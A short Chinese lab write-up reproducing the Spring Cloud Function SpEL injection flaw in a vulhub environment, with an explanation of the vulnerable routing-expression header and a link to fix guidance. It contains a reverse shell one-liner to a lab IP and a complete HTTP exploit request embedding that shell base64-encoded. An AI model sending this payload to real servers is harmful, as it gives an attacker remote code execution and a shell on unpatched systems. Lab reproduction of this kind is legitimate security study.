Spring Cloud Function 提供了一种通用模型,用于在各种平台上部署基于函数的软件,包括 Amazon AWS Lambda 等 FaaS(函数即服务)平台。
漏洞简介:简单说一下这个漏洞产生的原因,
在/functionRouter的POST请求头中添加一个spring.cloud.function.routing-expression参数,Spring Cloud Function会直接将参数值带入SpEL中查询导致SpEL注入。
如下面的请求
最终程序会判断请求的字段中是否有spring.cloud.function.routing-expression参数,如果有,就会将该参数的值通过带入到SpEL表达式中别执行。
具体原理在这就不细究了
可参考下面文章
Java漏洞分析-Spring Cloud Function SPEL表达式注入漏洞分析_senior_artist的博客-CSDN博客
影响范围:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞复现启动vulhub靶场环境,出现下面的页面说明启动成功
首先,先用nc监听1234端口
需要将反弹shell的命令进行编码
bash -i >& /dev/tcp/192.168.96.1/1234 0>&1
编码脚本如下,直接复制改后缀名为.html打开即可
java runtime exec usage...
Input type:
发送以下数据包:
POST /functionRouter HTTP/1.1
Host:192.168.96.170:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}")
Content-Type: text/plain
Content-Length: 8
test
成功反弹shell!
修复方法Spring Cloud Function SPEL漏洞修复方案_白面小生的博客-CSDN博客_spring漏洞修复



